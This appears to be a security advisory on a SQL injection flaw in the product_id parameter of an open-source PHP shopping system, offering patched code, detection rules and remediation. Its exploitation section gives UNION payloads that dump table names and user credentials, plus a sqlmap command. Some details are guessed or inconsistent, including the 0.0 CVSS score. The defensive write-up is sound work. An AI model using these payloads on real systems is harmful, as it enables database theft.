CVE-2025-51969

Executive Summary

CVE-2025-51969 is a critical SQL Injection vulnerability discovered in the PuneethReddyHC Online Shopping System Advanced 1.0. The flaw resides in the product.php page, specifically within the product_id GET parameter. This parameter is directly concatenated into a SQL query without proper sanitization or parameterization, allowing an unauthenticated remote attacker to execute arbitrary SQL commands against the backend database.

The vulnerability has a CVSS score of 0.0 (pending official scoring), but based on the vector, it is assessed as Critical due to the potential for full data exfiltration, authentication bypass, and remote code execution via SQL injection. No official patch is available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerable code in product.php likely resembles the following pattern:

$id = $_GET['product_id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);

The product_id parameter is taken directly from the URL and inserted into the SQL query without any escaping, prepared statements, or input validation. This allows an attacker to inject arbitrary SQL commands by appending SQL syntax to the parameter value.

Attack Vector:

• HTTP GET request to product.php?product_id=[INJECTION]
• The injection point is the product_id parameter.

Impact:

• Data Exfiltration: Extract all user credentials, personal data, and product information.
• Authentication Bypass: Modify SQL queries to bypass login checks.
• Remote Code Execution: If the database user has FILE privileges, an attacker can write a webshell to the server.
• Denial of Service: Execute heavy queries or drop tables.

Vulnerable vs. Patched Code

Vulnerable Code (product.php):

<?php
$id = $_GET['product_id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
// ... display product
?>

Patched Code (Recommended):

<?php
$id = intval($_GET['product_id']);
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
// ... display product
?>

The patched version uses:

1. intval() to ensure the input is an integer.
2. Prepared statements with parameterized queries to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy PuneethReddyHC Online Shopping System Advanced 1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the database is populated with sample data.

Exploitation Steps:

1. Basic Injection Detection:

   curl "http://target/product.php?product_id=1'"
   

   If a SQL error is returned, the parameter is injectable.

2. Extract Database Version:

   product_id=1 UNION SELECT 1,@@version,3,4,5--
   

3. Extract Table Names:

   product_id=1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()--
   

4. Extract User Credentials:

   product_id=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users--
   

5. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/product.php?product_id=1" --batch --dbs
   

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual SQL keywords in GET parameters (e.g., UNION, SELECT, --).
2. Deploy a Web Application Firewall (WAF) with SQL injection rules.
3. Implement input validation and prepared statements as shown in the patched code.

Hunting Queries:

• Search for product_id parameters containing SQL keywords.
• Look for error messages containing SQL syntax errors in HTTP responses.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /product.php?product_id= containing SQL keywords.
• Unusual response sizes or SQL error messages in HTTP responses.

File System IOCs:

• Unexpected .php files in the web root (webshells).
• Modified database files or logs.

Log IOCs:

• Web server logs showing repeated product_id parameter variations.
• Database logs showing UNION, SELECT, INTO OUTFILE statements.

Detection Engineering

YARA Rule

rule CVE_2025_51969_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-51969"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51969"
    strings:
        $s1 = "product_id=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "DROP" nocase
        $s5 = "INTO OUTFILE" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-51969 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against PuneethReddyHC Online Shopping System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "product.php?product_id="
        c-uri|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a product name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51969 SQL Injection Attempt"; flow:to_server; content:"product.php"; http_uri; content:"product_id="; http_uri; pcre:"/(UNION|SELECT|DROP|INTO\s+OUTFILE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable application from the internet until a patch is applied.
2. Implement a WAF with SQL injection rules to block malicious requests.
3. Review and rewrite the product.php code to use prepared statements.

Long-Term Fix:

• Replace all dynamic SQL queries with parameterized prepared statements.
• Use an ORM (Object-Relational Mapping) library to abstract database interactions.
• Conduct regular security audits and penetration testing.

Vendor Contact:

• Attempt to contact PuneethReddyHC via their official channels. If no response, consider forking the project and applying the fix yourself.

Valters IT - Securing Digital Frontiers